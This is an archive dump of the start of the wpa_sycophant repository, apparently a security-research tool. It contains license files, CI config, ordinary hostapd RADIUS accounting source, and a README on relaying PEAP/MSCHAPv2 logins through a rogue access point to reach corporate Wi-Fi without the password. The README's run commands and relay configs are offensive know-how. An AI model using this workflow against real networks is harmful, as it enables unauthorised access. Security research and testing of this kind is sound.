pax_global_header00006660000000000000000000000064137743661510014527gustar00rootroot0000000000000052 comment=afe66897ddf553a42348e5bd0110fa8b6547f753 wpa_sycophant-master/000077500000000000000000000000001377436615100152435ustar00rootroot00000000000000wpa_sycophant-master/.gitignore000066400000000000000000000007101377436615100172310ustar00rootroot00000000000000# Using vscode .vscode/* # Prerequisites *.d # Object files *.o *.ko *.obj *.elf # Linker output *.ilk *.map *.exp # Precompiled Headers *.gch *.pch # Libraries *.lib *.a *.la *.lo # Shared objects (inc. Windows DLLs) *.dll *.so *.so.* *.dylib # Executables *.exe *.out *.app *.i*86 *.x86_64 *.hex # Debug files *.dSYM/ *.su *.idb *.pdb # Kernel Module Compile Results *.mod* *.cmd .tmp_versions/ modules.order Module.symvers Mkfile.old dkms.conf wpa_sycophant-master/.travis.yml000066400000000000000000000025071377436615100173600ustar00rootroot00000000000000language: c compiler: - clang - gcc dist: xenial addons: apt: packages: - libnl-genl-3-dev - libssl-dev script: - make -C wpa_supplicant before_deploy: - "mkdir -p wpa_sycophant/wpa_supplicant" - "cp wpa_sycophant.sh wpa_sycophant_example.conf wpa_sycophant" - "cp wpa_supplicant/wpa_supplicant wpa_sycophant/wpa_supplicant/wpa_supplicant" - "tar -zcf wpa_sycophant.tar.gz wpa_sycophant" deploy: provider: releases api_key: secure: ZaJgZlXaPn0iUvHwXI5KjSchRaZZjM7EU6sdt6puJRKEIGM5ajMhbva3gHcgIMPV71WEMVxeOwO3Mzl4ml2OA/bz4GyTMQIjcFlsSKGyQZ0aHv3FUduQkP4zdNiJL+dgUxttK6SrCAE25IJH8VQJTotKPTn5hlZ/dGhAVffqU6einSxbHrPt6HcGojggUJYWXtcKIkX0EurbFzOdjrrKYFXSBpJaRVdE8Jt4usBivMRQHTleOYam3yDYSG2QNFZsNdJcF/ENZUpi4Q/EmkP4dXJ3sYk3onuswLvT5nYqQCYkjfs5oQyhWjsxzSceZ86PSWQ5caKXa6oUaDAhVM/RmL3O5ib+5FhkSICjcP7fmR2SoiNQkv12pwG8+O18LwdgZaJL/BCdO6TlVcbbJkUielLWJkwZxqnr+um6n5lpRVF7pU6RCCtABy93lQdEHDdF6ill2FQxV3MZ0fdvg/xbQ9YBeIlQ0DvSb9kSaXM9EFhb1G5s6CFfvgQwAIsUPVrZ91Z6ljLwuX9RMQx2AJ3oM5nfMuywBzgnIq1c/usCdjsQzSpcE0FwsO1Xa3bU/SPoxqqOdPcyMvizU8Rns1NpjRCH3vcFS/SrTjupGM/kl8/VYVt9BfTodV4BI3bLeLnscKvfzpAS4GOtUCFWuLr0jcqM+hwgtP34NV/6PdZZbMQ= file: wpa_sycophant.tar.gz on: repo: sensepost/wpa_sycophant tags: true condition: "$CC = gcc" branch: master overwrite: true prerelease: true skip_cleanup: true wpa_sycophant-master/CONTRIBUTIONS000066400000000000000000000170621377436615100172360ustar00rootroot00000000000000Contributions to hostap.git --------------------------- This software is distributed under a permissive open source license to allow it to be used in any projects, whether open source or proprietary. Contributions to the project are welcome and it is important to maintain clear record of contributions and terms under which they are licensed. To help with this, following procedure is used to allow acceptance and recording of the terms. All contributions are expected to be licensed under the modified BSD license (see below). Acknowledgment of the terms is tracked through inclusion of Signed-off-by tag in the contributions at the end of the commit log message. This tag indicates that the contributor agrees with the Developer Certificate of Origin (DCO) version 1.1 terms (see below; also available from http://developercertificate.org/). The current requirements for contributions to hostap.git -------------------------------------------------------- To indicate your acceptance of Developer's Certificate of Origin 1.1 terms, please add the following line to the end of the commit message for each contribution you make to the project: Signed-off-by: Your Name using your real name. Pseudonyms or anonymous contributions cannot unfortunately be accepted. The preferred method of submitting the contribution to the project is by email to the hostap mailing list: hostap@lists.infradead.org Note that the list may require subscription before accepting message without moderation. You can subscribe to the list at this address: http://lists.infradead.org/mailman/listinfo/hostap The message should contain an inlined patch against the current development branch (i.e., the master branch of git://w1.fi/hostap.git). Please make sure the software you use for sending the patch does not corrupt whitespace. If that cannot be fixed for some reason, it is better to include an attached version of the patch file than just send a whitespace damaged version in the message body. The patches should be separate logical changes rather than doing everything in a single patch. In other words, please keep cleanup, new features, and bug fixes all in their own patches. Each patch needs a commit log that describes the changes (what the changes fix, what functionality is added, why the changes are useful, etc.). Please try to follow the coding style used in the project. In general, the best way of generating a suitable formatted patch file is by committing the changes to a cloned git repository and using git format-patch. The patch can then be sent, e.g., with git send-email. History of license and contributions terms ------------------------------------------ Until February 11, 2012, in case of most files in hostap.git, "under the open source license indicated in the file" means that the contribution is licensed both under GPL v2 and modified BSD license (see below) and the choice between these licenses is given to anyone who redistributes or uses the software. As such, the contribution has to be licensed under both options to allow this choice. As of February 11, 2012, the project has chosen to use only the BSD license option for future distribution. As such, the GPL v2 license option is no longer used and the contributions are not required to be licensed until GPL v2. In case of most files in hostap.git, "under the open source license indicated in the file" means that the contribution is licensed under the modified BSD license (see below). Until February 13, 2014, the project used an extended version of the DCO that included the identical items (a) through (d) from DCO 1.1 and an additional item (e): (e) The contribution can be licensed under the modified BSD license as shown below even in case of files that are currently licensed under other terms. This was used during the period when some of the files included the old license terms. Acceptance of this extended DCO version was indicated with a Signed-hostap tag in the commit message. This additional item (e) was used to collect explicit approval to license the contribution with only the modified BSD license (see below), i.e., without the GPL v2 option. This was done to allow simpler licensing terms to be used in the future. It should be noted that the modified BSD license is compatible with GNU GPL and as such, this possible move to simpler licensing option does not prevent use of this software in GPL projects. ===[ start quote from http://developercertificate.org/ ]======================= Developer Certificate of Origin Version 1.1 Copyright (C) 2004, 2006 The Linux Foundation and its contributors. 660 York Street, Suite 102, San Francisco, CA 94110 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Developer's Certificate of Origin 1.1 By making a contribution to this project, I certify that: (a) The contribution was created in whole or in part by me and I have the right to submit it under the open source license indicated in the file; or (b) The contribution is based upon previous work that, to the best of my knowledge, is covered under an appropriate open source license and I have the right under that license to submit that work with modifications, whether created in whole or in part by me, under the same open source license (unless I am permitted to submit under a different license), as indicated in the file; or (c) The contribution was provided directly to me by some other person who certified (a), (b) or (c) and I have not modified it. (d) I understand and agree that this project and the contribution are public and that a record of the contribution (including all personal information I submit with it, including my sign-off) is maintained indefinitely and may be redistributed consistent with this project or the open source license(s) involved. ===[ end quote from http://developercertificate.org/ ]========================= The license terms used for hostap.git files ------------------------------------------- Modified BSD license (no advertisement clause): Copyright (c) 2002-2017, Jouni Malinen and contributors All Rights Reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name(s) of the above-listed copyright holder(s) nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. wpa_sycophant-master/COPYING000066400000000000000000000017051377436615100163010ustar00rootroot00000000000000wpa_supplicant and hostapd -------------------------- Copyright (c) 2002-2017, Jouni Malinen and contributors All Rights Reserved. See the README file for the current license terms. This software was previously distributed under BSD/GPL v2 dual license terms that allowed either of those license alternatives to be selected. As of February 11, 2012, the project has chosen to use only the BSD license option for future distribution. As such, the GPL v2 license option is no longer used. It should be noted that the BSD license option (the one with advertisement clause removed) is compatible with GPL and as such, does not prevent use of this software in projects that use GPL. Some of the files may still include pointers to GPL version 2 license terms. However, such copyright and license notifications are maintained only for attribution purposes and any distribution of this software after February 11, 2012 is no longer under the GPL v2 option. wpa_sycophant-master/README000066400000000000000000000044571377436615100161350ustar00rootroot00000000000000wpa_supplicant and hostapd -------------------------- Copyright (c) 2002-2017, Jouni Malinen and contributors All Rights Reserved. These programs are licensed under the BSD license (the one with advertisement clause removed). If you are submitting changes to the project, please see CONTRIBUTIONS file for more instructions. This package may include either wpa_supplicant, hostapd, or both. See README file respective subdirectories (wpa_supplicant/README or hostapd/README) for more details. Source code files were moved around in v0.6.x releases and compared to earlier releases, the programs are now built by first going to a subdirectory (wpa_supplicant or hostapd) and creating build configuration (.config) and running 'make' there (for Linux/BSD/cygwin builds). License ------- This software may be distributed, used, and modified under the terms of BSD license: Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name(s) of the above-listed copyright holder(s) nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. wpa_sycophant-master/README.md000066400000000000000000000067001377436615100165250ustar00rootroot00000000000000 # WPA_Sycophant [![Build Status](https://travis-ci.org/sensepost/wpa_sycophant.svg?branch=master)](https://travis-ci.org/sensepost/wpa_sycophant) A tool to relay phase 2 authentication attempts to access corporate wireless without cracking the password. This was released as part of a [Defcon 26 talk](https://www.youtube.com/watch?v=eYsGyvGxlpI) and is a component in the MSCHAP relay attack, the other being [Hostapd-Mana](https://github.com/sensepost/hostapd-mana/) with the [enable_sycophant](https://github.com/sensepost/hostapd-mana/wiki/EAP-Relay-with-Sycophant) flag. A hub of wireless hacking information is at https://w1f1.net/ where links to other tools may be found. ## Current support - Basic PEAP using MSCHAPv2 ## How-To To use this technique it is required that you run a rogue access point so that a legitimate user will connect to you so that you may relay the authentication attempt to Sycophant. To do this with [hostapd-mana](https://github.com/sensepost/hostapd-mana) you add a flag `enable_sycophant` Mana will write down the first part of the challenge response once a user connects. This is picked up by Sycophant to initiate the handshake against the target WiFi. To compile the modified wpa_supplicant binary: ``` make -C wpa_supplicant ``` Running wpa_sycophant may be done using the script `wpa_sycophant.sh` and the current supported commands are: - `-c` to give it a config file, I suggest modifying the provided example. - `-i` to provide the interface to use. an example command would be: sudo ./wpa_sycophant.sh -c wpa_sycophant_example.conf -i wlp0s20f0u6 ## Example Config ``` network={ ssid="TestingEAP" # The SSID you would like to relay and authenticate against. scan_ssid=1 key_mgmt=WPA-EAP # Do not modify identity="" anonymous_identity="" password="" # This initialises the variables for me. # ------------- eap=PEAP phase1="crypto_binding=0 peaplabel=0" phase2="auth=MSCHAPV2" # Dont want to connect back to ourselves, # so add your rogue BSSID here. bssid_blacklist=00:14:22:01:23:45 } ``` ## Dont Relay to yourself Since you will be running a rogue AP potentialy near by your supplicant there is the possiblity that you will try relay to yourself. To stop this check the MAC/BSSID of your access point and add that to the `bssid_blacklist` of your config. ## Remote Relay If you would like to separate the AP and Sycophant so that they are running on separate hosts or you wish to use Enterprise grade equipment. This may be done by running MANA in RADIUS only mode. This will create a local RADIUS server that will relay the authentication to the local Sycophant. This allows you to setup your rogue to use that remote RADIUS server and relay credentials over the Internet or other networks. A example RADIUS server config for MANA with Sycophant enabled is below: ``` interface= driver=wired # If you would like to run on loopback: #driver=none eap_server=1 eap_user_file=hostapd.eap_user ca_cert=rogue-ca.pem server_cert=radius.pem private_key=radius.key private_key_passwd= radius_server_clients=hostapd.radius_clients # Contents of hostapd.radius_clients: # 0.0.0.0/0 P@ssw0rd radius_server_auth_port=1812 # -1 = log all messages logger_syslog=-1 logger_stdout=-1 # 2 = informational messages logger_syslog_level=1 logger_stdout_level=1 enable_sycophant=1 ``` You may then use this remote RADIUS server with any AP that supports RADIUS authentication. wpa_sycophant-master/src/000077500000000000000000000000001377436615100160325ustar00rootroot00000000000000wpa_sycophant-master/src/Makefile000066400000000000000000000005711377436615100174750ustar00rootroot00000000000000SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps SUBDIRS += fst all: for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d; done clean: for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d clean; done rm -f *~ install: for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d install; done wpa_sycophant-master/src/ap/000077500000000000000000000000001377436615100164325ustar00rootroot00000000000000wpa_sycophant-master/src/ap/Makefile000066400000000000000000000023111377436615100200670ustar00rootroot00000000000000all: libap.a clean: rm -f *~ *.o *.d *.gcno *.gcda *.gcov libap.a install: @echo Nothing to be made. include ../lib.rules CFLAGS += -DHOSTAPD CFLAGS += -DNEED_AP_MLME CFLAGS += -DCONFIG_ETH_P_OUI CFLAGS += -DCONFIG_HS20 CFLAGS += -DCONFIG_INTERWORKING CFLAGS += -DCONFIG_IEEE80211R CFLAGS += -DCONFIG_IEEE80211R_AP CFLAGS += -DCONFIG_IEEE80211W CFLAGS += -DCONFIG_WPS CFLAGS += -DCONFIG_PROXYARP CFLAGS += -DCONFIG_IPV6 CFLAGS += -DCONFIG_IAPP LIB_OBJS= \ accounting.o \ ap_config.o \ ap_drv_ops.o \ ap_list.o \ ap_mlme.o \ authsrv.o \ beacon.o \ bss_load.o \ ctrl_iface_ap.o \ dfs.o \ dhcp_snoop.o \ drv_callbacks.o \ eap_user_db.o \ eth_p_oui.o \ gas_serv.o \ hostapd.o \ hs20.o \ hw_features.o \ iapp.o \ ieee802_11_auth.o \ ieee802_11.o \ ieee802_11_ht.o \ ieee802_11_shared.o \ ieee802_11_vht.o \ ieee802_1x.o \ neighbor_db.o \ ndisc_snoop.o \ p2p_hostapd.o \ pmksa_cache_auth.o \ preauth_auth.o \ rrm.o \ sta_info.o \ tkip_countermeasures.o \ utils.o \ vlan.o \ vlan_ifconfig.o \ vlan_init.o \ wmm.o \ wnm_ap.o \ wpa_auth.o \ wpa_auth_ft.o \ wpa_auth_glue.o \ wpa_auth_ie.o \ wps_hostapd.o \ x_snoop.o libap.a: $(LIB_OBJS) $(AR) crT $@ $? -include $(OBJS:%.o=%.d) wpa_sycophant-master/src/ap/accounting.c000066400000000000000000000347321377436615100207410ustar00rootroot00000000000000/* * hostapd / RADIUS Accounting * Copyright (c) 2002-2009, 2012-2015, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "eapol_auth/eapol_auth_sm.h" #include "eapol_auth/eapol_auth_sm_i.h" #include "radius/radius.h" #include "radius/radius_client.h" #include "hostapd.h" #include "ieee802_1x.h" #include "ap_config.h" #include "sta_info.h" #include "ap_drv_ops.h" #include "accounting.h" /* Default interval in seconds for polling TX/RX octets from the driver if * STA is not using interim accounting. This detects wrap arounds for * input/output octets and updates Acct-{Input,Output}-Gigawords. */ #define ACCT_DEFAULT_UPDATE_INTERVAL 300 static void accounting_sta_interim(struct hostapd_data *hapd, struct sta_info *sta); static struct radius_msg * accounting_msg(struct hostapd_data *hapd, struct sta_info *sta, int status_type) { struct radius_msg *msg; char buf[128]; u8 *val; size_t len; int i; struct wpabuf *b; struct os_time now; msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST, radius_client_get_id(hapd->radius)); if (msg == NULL) { wpa_printf(MSG_INFO, "Could not create new RADIUS packet"); return NULL; } if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_STATUS_TYPE, status_type)) { wpa_printf(MSG_INFO, "Could not add Acct-Status-Type"); goto fail; } if (sta) { if (!hostapd_config_get_radius_attr( hapd->conf->radius_acct_req_attr, RADIUS_ATTR_ACCT_AUTHENTIC) && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_AUTHENTIC, hapd->conf->ieee802_1x ? RADIUS_ACCT_AUTHENTIC_RADIUS : RADIUS_ACCT_AUTHENTIC_LOCAL)) { wpa_printf(MSG_INFO, "Could not add Acct-Authentic"); goto fail; } /* Use 802.1X identity if available */ val = ieee802_1x_get_identity(sta->eapol_sm, &len); /* Use RADIUS ACL identity if 802.1X provides no identity */ if (!val && sta->identity) { val = (u8 *) sta->identity; len = os_strlen(sta->identity); } /* Use STA MAC if neither 802.1X nor RADIUS ACL provided * identity */ if (!val) { os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT, MAC2STR(sta->addr)); val = (u8 *) buf; len = os_strlen(buf); } if (!radius_msg_add_attr(msg, RADIUS_ATTR_USER_NAME, val, len)) { wpa_printf(MSG_INFO, "Could not add User-Name"); goto fail; } } if (add_common_radius_attr(hapd, hapd->conf->radius_acct_req_attr, sta, msg) < 0) goto fail; if (sta) { for (i = 0; ; i++) { val = ieee802_1x_get_radius_class(sta->eapol_sm, &len, i); if (val == NULL) break; if (!radius_msg_add_attr(msg, RADIUS_ATTR_CLASS, val, len)) { wpa_printf(MSG_INFO, "Could not add Class"); goto fail; } } b = ieee802_1x_get_radius_cui(sta->eapol_sm); if (b && !radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, wpabuf_head(b), wpabuf_len(b))) { wpa_printf(MSG_ERROR, "Could not add CUI"); goto fail; } if (!b && sta->radius_cui && !radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, (u8 *) sta->radius_cui, os_strlen(sta->radius_cui))) { wpa_printf(MSG_ERROR, "Could not add CUI from ACL"); goto fail; } if (sta->ipaddr && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_FRAMED_IP_ADDRESS, be_to_host32(sta->ipaddr))) { wpa_printf(MSG_ERROR, "Could not add Framed-IP-Address"); goto fail; } } os_get_time(&now); if (now.sec > 1000000000 && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_EVENT_TIMESTAMP, now.sec)) { wpa_printf(MSG_INFO, "Could not add Event-Timestamp"); goto fail; } /* * Add Acct-Delay-Time with zero value for the first transmission. This * will be updated within radius_client.c when retransmitting the frame. */ if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_DELAY_TIME, 0)) { wpa_printf(MSG_INFO, "Could not add Acct-Delay-Time"); goto fail; } return msg; fail: radius_msg_free(msg); return NULL; } static int accounting_sta_update_stats(struct hostapd_data *hapd, struct sta_info *sta, struct hostap_sta_driver_data *data) { if (hostapd_drv_read_sta_data(hapd, data, sta->addr)) return -1; if (!data->bytes_64bit) { /* Extend 32-bit counters from the driver to 64-bit counters */ if (sta->last_rx_bytes_lo > data->rx_bytes) sta->last_rx_bytes_hi++; sta->last_rx_bytes_lo = data->rx_bytes; if (sta->last_tx_bytes_lo > data->tx_bytes) sta->last_tx_bytes_hi++; sta->last_tx_bytes_lo = data->tx_bytes; } hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, HOSTAPD_LEVEL_DEBUG, "updated TX/RX stats: rx_bytes=%llu [%u:%u] tx_bytes=%llu [%u:%u] bytes_64bit=%d", data->rx_bytes, sta->last_rx_bytes_hi, sta->last_rx_bytes_lo, data->tx_bytes, sta->last_tx_bytes_hi, sta->last_tx_bytes_lo, data->bytes_64bit); return 0; } static void accounting_interim_update(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; int interval; if (sta->acct_interim_interval) { accounting_sta_interim(hapd, sta); interval = sta->acct_interim_interval; } else { struct hostap_sta_driver_data data; accounting_sta_update_stats(hapd, sta, &data); interval = ACCT_DEFAULT_UPDATE_INTERVAL; } eloop_register_timeout(interval, 0, accounting_interim_update, hapd, sta); } /** * accounting_sta_start - Start STA accounting * @hapd: hostapd BSS data * @sta: The station */ void accounting_sta_start(struct hostapd_data *hapd, struct sta_info *sta) { struct radius_msg *msg; int interval; if (sta->acct_session_started) return; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, HOSTAPD_LEVEL_INFO, "starting accounting session %016llX", (unsigned long long) sta->acct_session_id); os_get_reltime(&sta->acct_session_start); sta->last_rx_bytes_hi = 0; sta->last_rx_bytes_lo = 0; sta->last_tx_bytes_hi = 0; sta->last_tx_bytes_lo = 0; hostapd_drv_sta_clear_stats(hapd, sta->addr); if (!hapd->conf->radius->acct_server) return; if (sta->acct_interim_interval) interval = sta->acct_interim_interval; else interval = ACCT_DEFAULT_UPDATE_INTERVAL; eloop_register_timeout(interval, 0, accounting_interim_update, hapd, sta); msg = accounting_msg(hapd, sta, RADIUS_ACCT_STATUS_TYPE_START); if (msg && radius_client_send(hapd->radius, msg, RADIUS_ACCT, sta->addr) < 0) radius_msg_free(msg); sta->acct_session_started = 1; } static void accounting_sta_report(struct hostapd_data *hapd, struct sta_info *sta, int stop) { struct radius_msg *msg; int cause = sta->acct_terminate_cause; struct hostap_sta_driver_data data; struct os_reltime now_r, diff; u64 bytes; if (!hapd->conf->radius->acct_server) return; msg = accounting_msg(hapd, sta, stop ? RADIUS_ACCT_STATUS_TYPE_STOP : RADIUS_ACCT_STATUS_TYPE_INTERIM_UPDATE); if (!msg) { wpa_printf(MSG_INFO, "Could not create RADIUS Accounting message"); return; } os_get_reltime(&now_r); os_reltime_sub(&now_r, &sta->acct_session_start, &diff); if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_SESSION_TIME, diff.sec)) { wpa_printf(MSG_INFO, "Could not add Acct-Session-Time"); goto fail; } if (accounting_sta_update_stats(hapd, sta, &data) == 0) { if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_INPUT_PACKETS, data.rx_packets)) { wpa_printf(MSG_INFO, "Could not add Acct-Input-Packets"); goto fail; } if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_OUTPUT_PACKETS, data.tx_packets)) { wpa_printf(MSG_INFO, "Could not add Acct-Output-Packets"); goto fail; } if (data.bytes_64bit) bytes = data.rx_bytes; else bytes = ((u64) sta->last_rx_bytes_hi << 32) | sta->last_rx_bytes_lo; if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_INPUT_OCTETS, (u32) bytes)) { wpa_printf(MSG_INFO, "Could not add Acct-Input-Octets"); goto fail; } if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_INPUT_GIGAWORDS, (u32) (bytes >> 32))) { wpa_printf(MSG_INFO, "Could not add Acct-Input-Gigawords"); goto fail; } if (data.bytes_64bit) bytes = data.tx_bytes; else bytes = ((u64) sta->last_tx_bytes_hi << 32) | sta->last_tx_bytes_lo; if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_OUTPUT_OCTETS, (u32) bytes)) { wpa_printf(MSG_INFO, "Could not add Acct-Output-Octets"); goto fail; } if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_OUTPUT_GIGAWORDS, (u32) (bytes >> 32))) { wpa_printf(MSG_INFO, "Could not add Acct-Output-Gigawords"); goto fail; } } if (eloop_terminated()) cause = RADIUS_ACCT_TERMINATE_CAUSE_ADMIN_REBOOT; if (stop && cause && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_TERMINATE_CAUSE, cause)) { wpa_printf(MSG_INFO, "Could not add Acct-Terminate-Cause"); goto fail; } if (radius_client_send(hapd->radius, msg, stop ? RADIUS_ACCT : RADIUS_ACCT_INTERIM, sta->addr) < 0) goto fail; return; fail: radius_msg_free(msg); } /** * accounting_sta_interim - Send a interim STA accounting report * @hapd: hostapd BSS data * @sta: The station */ static void accounting_sta_interim(struct hostapd_data *hapd, struct sta_info *sta) { if (sta->acct_session_started) accounting_sta_report(hapd, sta, 0); } /** * accounting_sta_stop - Stop STA accounting * @hapd: hostapd BSS data * @sta: The station */ void accounting_sta_stop(struct hostapd_data *hapd, struct sta_info *sta) { if (sta->acct_session_started) { accounting_sta_report(hapd, sta, 1); eloop_cancel_timeout(accounting_interim_update, hapd, sta); hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, HOSTAPD_LEVEL_INFO, "stopped accounting session %016llX", (unsigned long long) sta->acct_session_id); sta->acct_session_started = 0; } } int accounting_sta_get_id(struct hostapd_data *hapd, struct sta_info *sta) { return radius_gen_session_id((u8 *) &sta->acct_session_id, sizeof(sta->acct_session_id)); } /** * accounting_receive - Process the RADIUS frames from Accounting Server * @msg: RADIUS response message * @req: RADIUS request message * @shared_secret: RADIUS shared secret * @shared_secret_len: Length of shared_secret in octets * @data: Context data (struct hostapd_data *) * Returns: Processing status */ static RadiusRxResult accounting_receive(struct radius_msg *msg, struct radius_msg *req, const u8 *shared_secret, size_t shared_secret_len, void *data) { if (radius_msg_get_hdr(msg)->code != RADIUS_CODE_ACCOUNTING_RESPONSE) { wpa_printf(MSG_INFO, "Unknown RADIUS message code"); return RADIUS_RX_UNKNOWN; } if (radius_msg_verify(msg, shared_secret, shared_secret_len, req, 0)) { wpa_printf(MSG_INFO, "Incoming RADIUS packet did not have correct Authenticator - dropped"); return RADIUS_RX_INVALID_AUTHENTICATOR; } return RADIUS_RX_PROCESSED; } static void accounting_report_state(struct hostapd_data *hapd, int on) { struct radius_msg *msg; if (!hapd->conf->radius->acct_server || hapd->radius == NULL) return; /* Inform RADIUS server that accounting will start/stop so that the * server can close old accounting sessions. */ msg = accounting_msg(hapd, NULL, on ? RADIUS_ACCT_STATUS_TYPE_ACCOUNTING_ON : RADIUS_ACCT_STATUS_TYPE_ACCOUNTING_OFF); if (!msg) return; if (hapd->acct_session_id) { char buf[20]; os_snprintf(buf, sizeof(buf), "%016llX", (unsigned long long) hapd->acct_session_id); if (!radius_msg_add_attr(msg, RADIUS_ATTR_ACCT_SESSION_ID, (u8 *) buf, os_strlen(buf))) wpa_printf(MSG_ERROR, "Could not add Acct-Session-Id"); } if (radius_client_send(hapd->radius, msg, RADIUS_ACCT, NULL) < 0) radius_msg_free(msg); } static void accounting_interim_error_cb(const u8 *addr, void *ctx) { struct hostapd_data *hapd = ctx; struct sta_info *sta; unsigned int i, wait_time; int res; sta = ap_get_sta(hapd, addr); if (!sta) return; sta->acct_interim_errors++; if (sta->acct_interim_errors > 10 /* RADIUS_CLIENT_MAX_RETRIES */) { wpa_printf(MSG_DEBUG, "Interim RADIUS accounting update failed for " MACSTR " - too many errors, abandon this interim accounting update", MAC2STR(addr)); sta->acct_interim_errors = 0; /* Next update will be tried after normal update interval */ return; } /* * Use a shorter update interval as an improved retransmission mechanism * for failed interim accounting updates. This allows the statistics to * be updated for each retransmission. * * RADIUS client code has already waited RADIUS_CLIENT_FIRST_WAIT. * Schedule the first retry attempt immediately and every following one * with exponential backoff. */ if (sta->acct_interim_errors == 1) { wait_time = 0; } else { wait_time = 3; /* RADIUS_CLIENT_FIRST_WAIT */ for (i = 1; i < sta->acct_interim_errors; i++) wait_time *= 2; } res = eloop_deplete_timeout(wait_time, 0, accounting_interim_update, hapd, sta); if (res == 1) wpa_printf(MSG_DEBUG, "Interim RADIUS accounting update failed for " MACSTR " (error count: %u) - schedule next update in %u seconds", MAC2STR(addr), sta->acct_interim_errors, wait_time); else if (res == 0) wpa_printf(MSG_DEBUG, "Interim RADIUS accounting update failed for " MACSTR " (error count: %u)", MAC2STR(addr), sta->acct_interim_errors); else wpa_printf(MSG_DEBUG, "Interim RADIUS accounting update failed for " MACSTR " (error count: %u) - no timer found", MAC2STR(addr), sta->acct_interim_errors); } /** * accounting_init: Initialize accounting * @hapd: hostapd BSS data * Returns: 0 on success, -1 on failure */ int accounting_init(struct hostapd_data *hapd) { if (radius_gen_session_id((u8 *) &hapd->acct_session_id, sizeof(hapd->acct_session_id)) < 0) return -1; if (radius_client_register(hapd->radius, RADIUS_ACCT, accounting_receive, hapd)) return -1; radius_client_set_interim_error_cb(hapd->radius, accounting_interim_error_cb, hapd); accounting_report_state(hapd, 1); return 0; } /** * accounting_deinit: Deinitialize accounting * @hapd: hostapd BSS data */ void accounting_deinit(struct hostapd_data *hapd) { accounting_report_state(hapd, 0); } wpa_sycophant-master/src/ap/accounting.h000066400000000000000000000021731377436615100207400ustar00rootroot00000000000000/* * hostapd / RADIUS Accounting * Copyright (c) 2002-2005, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef ACCOUNTING_H #define 